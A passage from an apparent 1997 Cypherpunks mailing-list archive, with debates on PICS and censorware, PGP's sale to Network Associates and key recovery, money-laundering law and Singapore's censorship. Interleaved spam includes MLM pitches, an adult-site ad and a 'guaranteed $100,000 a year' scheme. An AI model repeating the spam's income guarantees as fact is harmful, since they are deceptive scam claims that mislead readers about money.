as you pay your taxes.  These situations may happen on the way down
(the greedy do-gooder government officials can't paying themselves
high salaries while collapsing the economy so they go for bribery),
or on the way up (tyrannical but honest leader kicks out corrupt 
small-timers and mafiosi and the people get more economic freedom
and more predictable if still limited personal freedom.)
				Thanks! 
					Bill
Bill Stewart, bill.stewart at pobox.com
PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639






From mnemonic at well.com  Sun Dec  7 20:42:02 1997
From: mnemonic at well.com (Mike Godwin)
Date: Mon, 8 Dec 1997 12:42:02 +0800
Subject: NYTimes oped: Federal laws better than censorware
In-Reply-To: 
Message-ID: 



At 12:00 PM -0500 12/4/97, Andrew Shapiro wrote:

>You're wrong or overstating the case.  PICS began as an effort -- rightly
>enough -- to *respond to* and/or *stave off* laws like the CDA.  But did
>the Feds "pressure" anyone to come up with PICS?  No.  I just
>double-checked with someone linked to PICS's founding, who told me: "Nobody
>in the federal government ever came to the 3WC and told them to create
>PICS."

I believe the first version of the Exon Amendment was introduced in late
summer of 1994. I believe PICS postdates this, but I am not certain.

>And even if the Feds had "pressured" someone to do so, that
>wouldn't in anyway justify its speech-inhibiting design features.

Does PICS inhibit speech in e-mail or in Usenet newsgroups or in FTP sites?
Isn't PICS just the Web?
Conversely, doesn't any version of the CDA inhibit speech in, e.g., e-mail,
Usenet newsgroups, and FTP sites?

I cannot conceive of any version of the CDA that does not restrict speech
more broadly, and have a greater chilling effect, than PICS. Note that this
is not a defense of PICS.

>That's irrelevant, Declan.  Day-to-day, speech can be inhibited as much by
>technology as by law.

I don't believe PICS, whatever its other flaws, poses any threat of putting
speakers of unapproved speech in jail.

>That's not what I said.  I'm not in favor of censorship and I oppose any
>attempt to *criminalize* 'indecent' speech.  But criminalize does not =
>regulate.

Perhaps it is a flaw in my legal education, but I was always taught that
criminal laws were a form of regulation.

>>children do
>>not have a of Constitutional right to have
>>censorware-free computers.
>
>Really!  I seem to recall *you* making the argument that kids have first
>amendment rights to access any information, particularly in public
>facilities like libraries.

I cannot speak to what Declan's argument actually was, but I note that
these two positions are not, in fact, logically inconsistent.


---Mike





----------------------------------------------------------------------------
We shot a law in _Reno_, just to watch it die.

Mike Godwin, EFF Staff Counsel, is currently on leave from EFF,
participating as a Research Fellow at the Freedom Forum Media Studies
Center in New York City. He can be contacted at 212-317-6552.
----------------------------------------------------------------------------







From bill.stewart at pobox.com  Sun Dec  7 20:48:01 1997
From: bill.stewart at pobox.com (Bill Stewart)
Date: Mon, 8 Dec 1997 12:48:01 +0800
Subject: PRZ/PGP loses it
In-Reply-To: <199712080425.UAA22239@netcom14.netcom.com>
Message-ID: <3.0.3.32.19971207204150.006d78ac@popd.ix.netcom.com>



This article has lost a few very critical lines,
making it look far worse than it really is.

Network Associates was _not_ formerly known as the
Key Recovery Alliance.  They were formerly known as
McAfee Associates.  McAfee had been a member of the
KRA, but has since withdrawn.  Go see PGP's home page.
And Phil's comments about user consent don't mean that
users _should_ be forced to consent -- viewed in context, 
they mean that users shouldn't have their keys or
messages escrowed without their consent,
and the escrow features should require consent.

Furthermore, peer-reviewed encryption isn't dead -
the OpenPGP encryption standard is being developed,
bringing PGP to an open standards process.

At 08:25 PM 12/07/1997 -0800, Vladimir Z. Nuri wrote:
>
>------- Forwarded Message
>
>Date: Thu, 4 Dec 1997 15:02:44 -0500
>From: bxs29 at cas.org (Barry Skaggs-D26)
>To: cas at majordomo.pobox.com, ignition-point at majordomo.pobox.com
>Subject: IP: (OT) Cloud Over Future of PGP
>
>Seems like the days of peer-reviewed encryption
>software may be numbered.  Just trust Us.
>
>Regards,
>
>Barry Skaggs
>
>
>
>Cloud Over Future of Pretty Good Privacy
>     The Price of Key Recovery
>
>Following Monday's US$35 million cash
>acquisition of PGP by Network Associates,
>the man who once testified before the
>Senate that key recovery could "strengthen
>the hand of a police state" now works for a
>company that actively promotes it. 
>
>Reaction from e-privacy activists was swift
>and harsh. 
>"The users of PGP can no longer rely on the
>credibility of Phil Zimmermann to ensure that
>the product is everything that they've been
>promised it's been previously," said Dave
>Banisar, attorney for the Electronic Privacy
>Information Center and co-author of The
>Electronic Privacy Papers 
>
>Network Associates, formerly known as
>the Key Recovery Alliance, an organization
>that lobbies Congress for key recovery that
>would grant law enforcement agencies
>back-door access to private encrypted
>communications. 
>
>Network Associates and other companies
>support key recovery because it would allow
>them to export strong crypto software
>without bothering to make a separate
>nonrecoverable version for the domestic
>market. The Commerce Department forbids
>export of the strongest available encryption
>without elaborate promises from
>manufacturers to develop key recovery
>features. Thus many companies are forced
>to develop both export and domestic
>versions of their software, each with
>differing crypto strengths. 
>
>But Zimmermann, a pioneer of strong
>encryption, has spent years crusading
>against key recovery, calling it an invasion
>of privacy. And the most recent release of
>PGP's encryption software allows users to
>disable key recovery. 
>
>"People should give their consent to use
>[recovery]," Zimmermann said. When asked
>whether future versions of the package will
>retain that option, Zimmermann replied,
>"Certainly, as long as I have anything to say
>about it." 
>
>Zimmermann's new title at Network
>Associates is "fellow," but he declined to
>comment on exactly what authority and
>responsibility that confers. Meanwhile, Phil
>Dunkelberger, PGP's former president and
>CEO, was named general manager of
>Network Associates' Total Network
>Security Division. 
>
>"It's going to take some time to figure things
>out," said Zimmermann. 
>
>EPIC's Banisar was less diplomatic and
>postulated that Zimmermann's new title
>reflected a clash of values between him and
>Network Associates on key recovery. 
>
>"We have a number of fellows here, and
>they are usually unpaid volunteers," Banisar
>said. 
>
>"It will require a fundamental examination by
>human rights groups and others about
>whether any newer versions of PGP are
>truly trustworthy," said Banisar. 
>
>Network Associates could not be reached
>for comment. 
>
>Wired, Dec. 3, 1997 
>
>
>**********************************************
>To subscribe or unsubscribe, email:
>     majordomo at majordomo.pobox.com
>with the message:
>     subscribe ignition-point email at address
>or
>     unsubscribe ignition-point email at address
>**********************************************
>http://www.telepath.com/believer
>**********************************************
>
>------- End of Forwarded Message
>
>
>
				Thanks! 
					Bill
Bill Stewart, bill.stewart at pobox.com
PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639






From schear at lvdi.net  Sun Dec  7 20:49:20 1997
From: schear at lvdi.net (Steve Schear)
Date: Mon, 8 Dec 1997 12:49:20 +0800
Subject: Cato forum tomorrow: should money laundering be a crime?
In-Reply-To: <199712072343.PAA22192@sirius.infonex.com>
Message-ID: 



At 3:43 PM -0800 12/7/1997, Mix wrote:
>-----BEGIN PGP SIGNED MESSAGE-----
>Hash: SHA1
>
>Steve Schear wrote:
>>This topic, of course, is near the top of many libertarian e-commerce 
>>agendas.  Almost every mainstream news article and regulatory report repeats 
>>the littany that Money Laundering, that is the movement of money to disguise 
>>it origin (even if there are no predicate offenses) must remain illegal 
>>because it damages or is a threat to the world banking and financial system 
>>(not just the tax take of governments), but I have yet to see any 
>>explanation of how and why.  Anyone care to comment?
>
>Might be a bit of a stretch, but I think this is because money today is 
>inherently a liability, that is a debt that someone, somewhere has promised 
>to pay back.

You've got this all backwards.  The bearer certificates (paper money) issued by governments is an interest-free loan by those holding the paper to the issuer.
 
>A money's value is measured by the quality of debt backing it.  If the debt 
>is defaulted on (whether through obscurity, Chapter 11, etcetera), the money 
>loses value, which in turn can have negative systemic repercussions 
>throughout the world's financial markets.  The recent Asian currency 
>devaluations (South Korea in particular) and the accompanying financial woes 
>are a good example of what happens when the debt quality of money devalues.

Most of this bad debt is from unwise or even illegal speculation.  I propose that it is much more common for those who deal in money from anonymous sources to look to placing that money into mainstream operating businesses and investments than as assests to back fraudulent loans, although this certainly does happen (perhaps some of the bad debt held by Japanese banks to alledged Yakusa might fall in this latter category.

--Steve


PGP mail preferred, see  	http://www.pgp.com and
				http://web.mit.edu/network/pgp.html

RSA fingerprint: FE90 1A95 9DEA 8D61  812E CCA9 A44A FBA9
RSA key: http://keys.pgp.com:11371/pks/lookup?op=index&search=0x55C78B0D
---------------------------------------------------------------------
Steve Schear              | tel: (702) 658-2654
CEO                       | fax: (702) 658-2673
First ECache Corporation  |
7075 West Gowan Road      |
Suite 2148                |
Las Vegas, NV 89129       | Internet: schear at lvdi.net
---------------------------------------------------------------------

	I know not what course others may take; but as for me, 
	give me ECache or give me debt!

	"It's your Cache�"







From wombat at mcfeely.bsfs.org  Sun Dec  7 20:57:33 1997
From: wombat at mcfeely.bsfs.org (Rabid Wombat)
Date: Mon, 8 Dec 1997 12:57:33 +0800
Subject: your mail
In-Reply-To: <7bdc5ac25d3bf0a689fc6a2cbe4cc8b4@squirrel>
Message-ID: 




I think Vulis uses procmail.

On 7 Dec 1997, Secret Squirrel wrote:

> I think Vulis needs each of us to send ten copies of this back to him.
> 






From aleph at cco.caltech.edu  Sun Dec  7 21:29:10 1997
From: aleph at cco.caltech.edu (Colin A. Reed)
Date: Mon, 8 Dec 1997 13:29:10 +0800
Subject: NYTimes oped: Federal laws better than censorware
In-Reply-To: <3.0.1.16.19971204120003.2ff7b144@pop.interport.net>
Message-ID: <3.0.3.32.19971207211705.030bd220@pop-server.caltech.edu>



I think the answer to your question is that most of us find the very idea
of filterware distasteful (let alone the generally poor quality of the
implementations.  However, that's much the same as I find american cars
distasteful.  If somebody else wants to blow their money on one of those
pieces of crap, by all means let them.  (I admit, they're slowly getting
better)  This leads us to poke fun at the current systems and argue against
people actually using them, much the same way a christian friend of mine
keeps trying to get me to accept jesus into my heart and love him so that I
won't go to hell.  On the other hand, we get really pissed off when
somebody tries to force us and our kids to use this crap.  It doesn't
matter if it is AOL or the FBI, outside coercion is outside coercion.
At 04:48 PM 12/7/97 -0800, Vladimir Z. Nuri wrote:
>
>I still don't understand why it is "censorship" when any
>company can come up with any software that rates sites
>according to any scheme, and anyone can choose to use
>any package, or ignore the software altogether. there is total freedom 
>in all of this.
>
>Declan, why is it that you are now editorializing against an
>editorial that asks for government standards & laws instead of
>free market ones? are you starting to finally figure out that
>private enterprise filtering systems, while having huge 
>aspects that are not all that pleasant, are superior to the
>alternative? (btw, I don't like the claims of the editorial
>either, but that has always been my position on this issue--
>that private enterprise 
>systems are superior to government censorship)
>
>I agree that PICS was introduced in part to try to come up
>with a solution to the problem of offensive content that
>could be presented as an alternative to any government 
>involvement. people on the net want to solve their own problems
>on the net, without laws, in general.
>
>everyone who continues to rant against filtering companies
>strike me as people who are screaming sour grapes. "we don't
>like the choices these companies have made!!" but just start
>your own!! the market is deciding what filtering company
>is doing the best job, mostly regardless of your ranting.
>and surprise!! guess what!! the market may not actually
>decide that it even cares whether filtering products are
>up front about informing what sites they filter.
>
>what, it takes a lot of work to filter sites? well, you're
>damn right-- doing anything of value requires a lot of work,
>and the filtering companies are working hard to improve their
>technology, no thanks to the screechings of a lot of people
>who feel that they have some better way of judging filtering
>software than the parents who use it.
>
>the net will continue to support schemes that help separate,
>segregate, and rate content, and those who reject such ideas as
>"censorship" are going to be seen as increasingly out-of-touch
>and clueless about how the technology works.
>
>does anyone claim it is censorship because a service interested
>in rating "cool sites" does not rate many sites it thinks are not
>cool? why then is there so much controversy when a *service*
>designed to rate *sites acceptable to children* does not include
>certain sites? can anyone tell me the difference? answer: many
>people wish to be the judge of what children can and cannot see.
>but ultimately,  does anyone other than a parent have the
>authority to do this? in a free society, which I think we
>still live in, that is?
>
>if you think you are a better judge of what children should
>see, create your own service that includes whatever you think
>is being excluded. the market may support you. or, the market
>may thumb its nose at you.
>
>(however, postscript to all of the above,
>I do agree that any government laws making filtering
>software in some way mandatory is bogus and abhorrent.)
>
>


                             -Colin






From jaed at best.com  Sun Dec  7 23:23:06 1997
From: jaed at best.com (Jeanne A. E. DeVoto)
Date: Mon, 8 Dec 1997 15:23:06 +0800
Subject: NYTimes oped: Federal laws better than censorware
In-Reply-To: <3.0.1.16.19971204120003.2ff7b144@pop.interport.net>
Message-ID: 



At 4:48 PM -0800 12/7/97, Vladimir Z. Nuri wrote:
>I still don't understand why it is "censorship" when any
>company can come up with any software that rates sites
>according to any scheme, and anyone can choose to use
>any package, or ignore the software altogether. there is total freedom
>in all of this.

If that were all that were going on, no one would argue with it.

The problem arises when government bodies require use of a particular
filter (as in libraries), or require publishers to attach derogatory labels
to the information they publish (as in too many trial balloons for me to
list). These are abuses of freedom, and if you pay attention, you'll see
that such applications of filter and labeling programs receive the lion's
share of vocal opposition.

There are a couple of subsidiary problems - one is that current filterware
is, not to put too fine a point on it, terrible to the point of
constituting fraud on the consumer; another is with the issue of minors'
rights to access information they need, and the limits that parents and
schools must observe in restricting those rights while still fulfilling
their responsibilities. Current filterware would still be criticized -
rightly so - even if it weren't being used for censorship. But the fact is
that it is being so used.

Someday, perhaps the threat of censorship-via-filters will go away and we
can spend less time discussing them.

--
Morning people may be respected, but night people are feared.







From dformosa at st.nepean.uws.edu.au  Sun Dec  7 23:55:20 1997
From: dformosa at st.nepean.uws.edu.au (? the Platypus {aka David Formosa})
Date: Mon, 8 Dec 1997 15:55:20 +0800
Subject: Singapore
In-Reply-To: <199712070918.RAA05254@brokat.com.sg>
Message-ID: 



-----BEGIN PGP SIGNED MESSAGE-----

On Sun, 7 Dec 1997, Harish Pillay wrote:

[...]

> > In Germany you can in fact criticize the goverment without risk of 
> > prosecution for seditious libel, that you cannot in Singapore.
> 
> You *can* critise the SG govt.  The idiots who claim to be the SG govt are
> however very sensitive (i.e. have very thin skins) to anyone who makes false
> criticisms.

IIRC the peaple who decide weather these criticisms are false or not (the
judges) are quite biased towards the goverment.  If my memouries of a
recent news story are correct, a recent judment against the goverment
was a great shock to every one.

I have also have heard that the sueing by the goverment is aimmed at
driving thouse who critiscise it into bankrupsy and thus unable to hold
office.

[...]

> > Germany does not practice a blocking regime on the InterNet 
> > similar to  that Singapore does, since that would be in contrary to the 
> > constitutional ban on censorship.
> 
> Which has been circumvented by using alternate proxies or www.anonymizer.com.
> Check www.sintercom.org/hunt/rahunt.html for more info.

Its not wather the taticks where effective or not that is importent.  It
is the fact that the goverment attempted.

- -- 
Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  ex-net.scum and proud
You Say To People "Throw Off Your Chains" And They Make New Chains For
Themselves? --Terry Pratchett.  I do not reply to munged addresses.

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: noconv

iQCVAwUBNIuSnaQK0ynCmdStAQGRDAP/XoIgOJveVLu09zcBHKtwLP9Y8yt0ZHQ+
/vAofLi+kUtGaeStbvXt2FtdwiRR19xOhmM3mHSDSTIVV6jyBgKu0z0ikiXn+vFk
QaEjqw1OJL9SZzPeNw539+pGCbQjKwBEmjij/OPRXLzDPsXjNJfYxLSm+WQ3tc3G
jDu6/jqqmdQ=
=Od5x
-----END PGP SIGNATURE-----






From nobody at bureau42.ml.org  Mon Dec  8 01:29:48 1997
From: nobody at bureau42.ml.org (bureau42 Anonymous Remailer)
Date: Mon, 8 Dec 1997 17:29:48 +0800
Subject: Quick Response Team in sg?
Message-ID: 



From:             Mail Administrator
Send reply to:    Mail Administrator
Subject:          Mail System Error - Returned Mail
> This Message was undeliverable due to the following reason:
> 
> The following destination addresses were unknown (please 
> check the addresses and re-mail the message):
> 
> SMTP 
> 
> Please reply to Postmaster at vang.pacific.net.sg
> if you feel this message to be in error.

Hmmmmm.






From opportunity at aol.com  Mon Dec  8 17:50:50 1997
From: opportunity at aol.com (opportunity at aol.com)
Date: Mon, 8 Dec 1997 17:50:50 -0800 (PST)
Subject: FUN FUN FUN!!
Message-ID: <>


I'm talking about making money!!  Getting checks in the mail is FUN!! 

For details visit:
http://www.InternetEnterprises.com/growth/60,001.html








From opportunity at aol.com  Mon Dec  8 17:50:50 1997
From: opportunity at aol.com (opportunity at aol.com)
Date: Mon, 8 Dec 1997 17:50:50 -0800 (PST)
Subject: FUN FUN FUN!!
Message-ID: <>


I'm talking about making money!!  Getting checks in the mail is FUN!! 

For details visit:
http://www.InternetEnterprises.com/growth/60,001.html








From JonWienk at ix.netcom.com  Mon Dec  8 02:29:33 1997
From: JonWienk at ix.netcom.com (Jonathan Wienke)
Date: Mon, 8 Dec 1997 18:29:33 +0800
Subject: Please Decrypt Me
Message-ID: <3.0.3.32.19971208021553.0069fa58@popd.netcruiser>



-----BEGIN PGP MESSAGE-----
Version: PGP for Business Security 5.5

hQEMA0wZBVdR1dnXAQf/b0qVGE9torp1Tpix+5xuBzhAVmLU59vxww0WucQf/60T
wFjVoAieYwrufykAKq7+qxuMQPB/gEcJHy0ab6xx7pfJRdFdndrM6xc7+C4f/MFP
vuhqsyqZhURzi1+7R7PiNnIN0XgYL6w9pnjsXkHvxBi0SPnD+qGwAmR020O+BpwG
E1VdwPj/k8wFmq42w/znWTamk1gi0PTh9+5pZ7SaSXHoYcHCI6xIj+GdQzRdkiMs
8F80eNXfynbjceZe7+ElRx6Ete3YA1VaKDROXh5A2Ts8jxWFLXFyA8xDKbFYfRQb
TEA1/wSpPcFZ+GmrpfCB0/15nVZ5xjjMfR4Jtws+VqUD3eH3ma7iem2JspXwiMFp
zqG1bXJMVNfbKvVqGv7fTfTPsz8/QoP1yzPVOyBEJj1XUDAAv1orgDEm0EGBKjDR
UJXleLXLL8/q3dWRcpjvkQchfucm6hB4THc7r5OAUThmiesjXgxzPj2nUw/TGg4Z
s2uBmOjiPeCLwMLUvIqqY5J8SLv3wnUa41aasgLivb82ZMMeAXMWET3rR+uooYx+
VFsICbFBFJmHf02haRtSnZMMhVsoT1nxfOvYn6Nh5ZAyjlgqHvkPzcnFjpK/AXd6
IePzLbhIuwBsWHtsa85ScA57Ojk+UH04y0zbXIUhv8dDdrHFlk+5DLGwHLUE6RAN
+T8WvdKerGhI3hZn6y37+lvCOu0rRBzNkPLhgmuB7Woy7zfCIPRQiiTNN3XOMj+3
/ZJ4GzcuPBon3sqjXpD7YlUythEUFDiw+kxKu1MNTcTSMVG6Sfnx/jaOiNcWy6Sj
5rxpFQtzywjgXb0LzQxcSspq3D0MlNr42yloYdekhTEFk3z95tReXHOfIjsutB39
lG9OdgBot1fX6o+njj7olOh8ckx7TIOuwDZhvHLuc7+KbLNZErnHakktjDypgHLJ
bAe5ZB8Rh+/roIOQJT3N64eCSZctDJMcacvkNeFSnbTc+3a8CB6YViZRYtxRqNo9
gHbjdHNY4jl+z/kDgHnjrH6Yx3hg7R7ypJf5xZUqkwbMW8jAmKvM6dDHg6h87Li8
enjZrOSFaHjgxyYBjVE/cY6SAj4KHrk721mXp+GbnuRt4azs8c43Pe2MgANozzuM
Ft/EN3rSz38CaVwyyhz547DEPPrCDOqED1OCy4OPpous3h+IxYTDJ6RVWHADBDi9
BUr0hQX21uXtN/xi8dFpUsVZE2QqS6PbOVxyPgbr3DV6rHGrb6qfmuuawJ8cvQnw
UuKJn0YMUqHRo8DFWUeXvKwHev0ckNdKusFyZ79tytgIgwo75OqrgE4lwbCfONmA
0jvSOgcQwSJJbfXLRTkAFj9QQ4wxbtv3NJGGZEHapXF6Mm3GLlbx2BAzmvimtvE1
Dm/SjrCLZZoHK48nibsmPHWSSxBJ8QclXj/1FdqOrR6I2/XmvfOeBgFehMy/1GTw
AExFgxqe+BV97aqHmaAwlAeDtGAGcK1VXc6CSXzjWwoaNwXDyzV17eFLoUnCcAhM
xXBSu5cIvB7u5QOGkU8U2aLTFmnwtkPxRz8mcBhmjlnodLl7wJbav/EYiQaWAFAD
zy2SLPlXAV5lQE4JTYycwBIgIYKDac+xYiHldDzNOyAODXa+3Je23cAsDt1qdUMl
oCAB+I6//TOyH0Wjkcck
=+4AE
-----END PGP MESSAGE-----


Jonathan Wienke

PGP Key Fingerprints:
7484 2FB7 7588 ACD1  3A8F 778A 7407 2928
3312 6597 8258 9A9E D9FA  4878 C245 D245 EAA7 0DCC

"If ye love wealth greater than liberty, the tranquility of servitude
greater than the animating contest for freedom, go home from us in peace.
We seek not your counsel, nor your arms. Crouch down and lick the hand that
feeds you. May your chains set lightly upon you; and may posterity forget
that ye were our countrymen."
-- Samuel Adams

"Stupidity is the one arena of of human achievement where most people
fulfill their potential."
-- Jonathan Wienke

Never sign a contract that contains the phrase "first-born child."

RSA export-o-matic:
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0



Dear Boston Finney Representative:

Before you LOOSE your Boston Finney Downline to shear FRUSTRATION,
you need to consider protecting your OWN success and look at the
MLM ELECTRICITY program offered by NSI.

NSI is a 1.5 BILLION dollar debt free company that has invested
$100,000,000.00 into their infra-structure for their Electricity
Division.

NSI distributors in our organization get a FREE:

1.  Web Page
2.  800 Opportunity Line
3.  Fax-on-Demand 
4.  Conference Call Line to access
5.  Training Call Line to access
6.  With many more marketing tools being developed now!

If interested email me your name, area code, phone number and the
best time to call you.

Best Regards,
BRAD ELDER

P.S.  It's not just electricity!  At "Your Option" you can also profit
from Natural Gas, Web TV, Cable, Internet Access, Digital Satellite TV,
Home Security, Cellular, Paging, Telephone, Voice Mail and World Wide
Electronic Home Shopping Internet Commerce.






From csm70830 at port.ac.uk  Mon Dec  8 04:33:27 1997
From: csm70830 at port.ac.uk (Paul Bradley)
Date: Mon, 8 Dec 1997 20:33:27 +0800
Subject: Riutual processing???
In-Reply-To: <348B3415.A6E3162F@Bradford.ac.uk>
Message-ID: 




For all pentium haters, I advise a visit to this page:


> http://www.top.net/chia/pentiumgram/
 
--                  
                            Paul Bradley 
                      paul at fatmans.demon.co.uk
       "Why should anyone want to live on rails?" - Stephen Fry






From rozaa at oulu.fi  Mon Dec  8 21:24:51 1997
From: rozaa at oulu.fi (rozaa at oulu.fi)
Date: Mon, 8 Dec 1997 21:24:51 -0800 (PST)
Subject: XXX LIVE SEX
Message-ID: <199712081541EAA37498@post.253.143.51>


Victoria's Secret Passage to XXX SEX!!!

*Free Live Video!!! No cost no memberships!!! Just free!!
*Erotic Stories
*XXX LIve SEX SHOWS!!!
*1000's Free Pics!!!
*Personal Dating Services!
*Adult Videos
*Cd-Rom
*Men's Pics
*Chatrooms
*Message Boards

And Lots More!!!

http://host3495.homecom.com

AOL Click Here!

You must be 21 or older.

If you would like to be removed  contact us at: xstacy at hotma





From k8pm at plastic.com  Mon Dec  8 21:54:20 1997
From: k8pm at plastic.com (k8pm at plastic.com)
Date: Mon, 8 Dec 1997 21:54:20 -0800 (PST)
Subject: $100,000 A Year Guarateed, or your money back.
Message-ID: <199712090558.HAA13199@alpha.netvision.net.il>



Dear member

A chance of a lifetime!

A special Offer!

Please read the letter you can benefit out of!

Make a $100,000 a year income 100% guaranteed.Or your money back.
----------------------------------------------------------------
No experience necessary,fully step by step instructed program.
fully automated and easy to run even a grandma can run it easy
as one two three.

The offer
---------
Your own complete turn key business with a lifetime of resell rights.
You own the program for life.Reproduct it copy it and resell it as many
times as you wish.We guarantee you to make a $100,000 income a year or 
your money back.Our new members without any prior experience generated a
$35,000 income on their first three months.You can do the same or even 
better.

The program
-----------
It is one of the best programs on the market ever created. This program 
generates over a 20,000 hits to your site per day. Tested and guaranteed 
to work 100%.Our existing members as we speak are making ton's of money. 
So can you.

Income Opportunity= A $100,000 income a year generated.or your money back.
--------------------------------------------------------------------------
Based on a program built in your package,that generates over 20,000 hits to
your site per day,and you sell only 2.5% out of the 20,000 hits generated,
it totals to 500 sell's times a three dollars net profit totals to a $1500 
income per day,times 200 days a year not counting weekends and holydays,you
end up making a $300,000 income a year.This is the reason why we guarantee
you to make a $100,000 a year income or your money back but you have to give
it a try for three months and it's well worth it.


List of items and businesses include with your package.
----------------------------------------

The list ofitems
----------------
Free web site and web pages............for life
Free E-mail acount.....................for life
Free autoresponder.....................for life
Free chat room post your ads...........for life
Free web page design and graphics......for life 
Free advertising and promotions........for life
Free guest book on site................for life
Free 50 million E-Mail addresses yours to keep
Free submit your site to over 1200 search engines
And there more to mention get to the site to see all list of more
items included with your package.

The business included with your package.
----------------------------------------
With your package at your web site.Is all set with functional businesses
are just waiting for you to register your name, and start running your own
business at no time. 

The businesses
--------------

Business # 1.
------------- 
Authorised agent of the global lottery network Inc. 
You become an agent of the Global Lottery Network make a high profit 
on sell's of lottory tickets worldwide,and play lotto free.You receive 
your own free web page and a lotto agent ID# complete details on site.
With this business along you'll make easy $100,000 a Year you must get
to the site below and read the benefits.

Business # 2.
-------------
Agent of the Telecom Pros Inc. Make a high commissions on referrals for 
internet connections.You get a free internet access plus a high commissions
earnings on new members referrals to Telcom Pros Inc.Your connection to the
internet is free.

business # 3.
-------------
Agent of the 600 plus advertising Inc.
Make a high income on referrals to the 600 plus adverting Inc.plus you
get a free submition of your site to over 600 search engines,it's a
double earnings.

and there more to mention get to the site to see all list of businesses.
We got 100's of them pick the ones you like.

For complete information 

Go to 

For questions 

Write me for more info!

Thank you for taking the time to read the letter.

Sincerely,

Fred






From nobody at REPLAY.COM  Mon Dec  8 06:13:42 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Mon, 8 Dec 1997 22:13:42 +0800
Subject: Remailer Trivia / Re: Singapore & Freedom
Message-ID: <199712081405.PAA07368@basement.replay.com>



Secret Squirrel wrote:
> 
> Harish Pillay  wrote:
> >Interesting that you hide behind an anomymous name and you claim to
> >be outside Singapore.  I for one, will stand by my name and say that
> >things I should say about this country of mine (warts and all) and
> >not have to hide behind anonymity (not that I would not use anonymity
> >ever :-)).
> 
> Typical.

Doesn't Anonymous have a brother, Neal? Isn't he a playwrite, or
author, or something?
Anybody?







From toto at sk.sympatico.ca  Mon Dec  8 06:14:47 1997
From: toto at sk.sympatico.ca (Toto)
Date: Mon, 8 Dec 1997 22:14:47 +0800
Subject: CypherPunk Post of the Century [WAS: Get your hand off that  button. Now!] [WAS: It's beginning to look a lot like...Donald?]
Message-ID: <348BFD7B.136A@sk.sympatico.ca>



::
Anon-To: isthisamistakeoratrick at theshadow.nose

Nobody said:
{Honest! Nobody said it, so I made it up and added quote marks so I
 wouldn't look like I was responding to my own post. If you'll check
 the archives, you'll find even Tim May _didn't_ say the following:}

> I have refused to vote Republican for President ever since their
> unconscionable travesty wherein they dropped the superior candidate,
> the monkey, and ran Ronnie RayGuns for the position.
> The die (no pun intended) has been set for the next Presidential
> election, with Clinton being politically assassinated, and Gore
> getting Clinton all over him (as opposed to vice-versa in a physical
> assassination).
> I have already made my quadra-annual vow not to vote for Donald Duck
> for President again, but the muckers in power just won't give me a
> reasonable option.
> Oh, well. At least I can still say I'm an animal rights activist.

  FREEZE! Get your finger off of that  button, and slowly
back away from the keyboard...

  After subjecting the subscribers to the CypherPukes and Flight-from-
Censorship lists to multiple spams of an Eldridge cleaverly disguised
and disgusting on-topic post, I thought it would be appropriate to
make amends by wrapping myself in the state flag with the python on
it and writing "The History of the Present : A CypherPunk Perspective."
{Originally titled, "Everything You Wanted To Know About Freedom and
 Privacy, But Were Imprisoned For Asking."}

  First, allow me to point out that those who believe my disclaimers
that my posts are meaningless may possibly be even bigger fools than
those who believe list posts which claim to be packed with meaning.
  It's a tough call...
  There are list subscribers who provide spoon-fed information for
those who are busy and important and don't have time to think
(executive sheeple?), but (Young and Hettinga both being classical 
examples) the pressure of faking sanity eventually gets to them
and they snap into an acid-flashback condition that results in
posts containing existential poetry or advertisements for grits.
  I, on the other hand, help balance the lists by beginning at a
point of total blathering, and work my way slowly toward sanity
and reason. The fact that I rarely succeed at this indicates to
me that my posts are usually not long enough to complete the
process, so I will endeavor to ramble on endlessly in this missive,
for the eventual benefit of the person who is still reading this
post. (Me?)

AN INFOWAR FAIRY TALE: Ode to Bianca
Once upon time there was a woman with breasts so beautiful that
men would try to grab them at every opportunity, with only an
honored few being allowed to touch them (as a result of recognizing
that she had an equally beautiful brain).
The woman worked in a computer industry dominated by young men who had
spent so much time cloistered among their machines that they did not
know much about humans, and almost nothing about women, including the
fact that women are all witches.
Thus, the beautiful witch was able to trick the owners of protruding 
hardware into exposing their secret things to her, so that she was able
to follow the bytes as they metamorphisized into software. 
These men were powerful lions of the computer industry, drawing their 
great strength from their long mane-frames, little suspecting that a 
female systems analyst, with a heritage that taught her how to use 
scissors to cut efficiently and shape the results into a new form of 
clothing, might cut off the long locks from which they drew their 
strength, while they were sleeping, and weave them into a wig of many 
colors, enabling her to let down her hair, thus allowing her secret 
lovers  to climb up to the tower of the computer master's castle.

THE REQUISITE 'MORAL OF THE STORY':
'Tit men' are unlikely to notice if Lady Godiva is riding a Trojan
(pardon the pun) Horse.

"Am I a Freeh, dreaming I am a Zimmermann, or Zimmermann, dreaming
 I am Freeh?"
     ~ Phil Dunkelberger, 
       General Manager, 
       Total Nework Security Division,
       Network Associates

"As long as we have Kim Philby defending our country, Communist
 Americans can sleep safely at night."
     ~ J. Eggbert Hoover

"Be afraid. Be very afraid..."
     ~ Huge Cajones, 
       Addressing the 'Global Society of Unelected Secret Committees'

"Why The Government Wants Our Guns"  by John Young
-----------------------------------
http://www3.phillynews.com/packages/somalia/nov16/rang16.asp

"Why The Government Wants Our Keys"  by Tim C. May
-----------------------------------
The Feds have shown their hand: they want a ban on domestic cryptography

"Why Privacy is Dangerous in the Hands of Non-Chinese-Communist
 American Citizens Who Don't Make Major Campaign Contributions"
---------------------------------------------------------------
             From: softwar at us.net (SOFTWAR)
One example of Reno's conflict is the Clinton China Crypto Scam.
It was Reno's Justice Anti-Trust Division that authorized the
merger of a major company backed by a big donor to the DNC.  The
companies, RSA and Security Dynamics, sought the merger in 1996
just after RSA Chairman James Bidzos signed a memo of
understanding to perform "encryption research" with China.  The
donor, Sanford Robertson, paid $100,000 to the DNC just prior to
the merger. 
Of course, Mr. Robertson's investment firm made a cool two million
dollars on the merger deal, spurred in part by the lucrative
RSA contract with the PRC.

Pro-Crypto-Export Bumper-sticker:
"Export Free Speech and Privacy, Not Jobs!"

Anti-Domestic-Crypto Bumpersticker:
"Free Speech and Privacy Kill Molested Children With Terrorist Bombs."

  It's comforting to know that my right to speak freely and privately
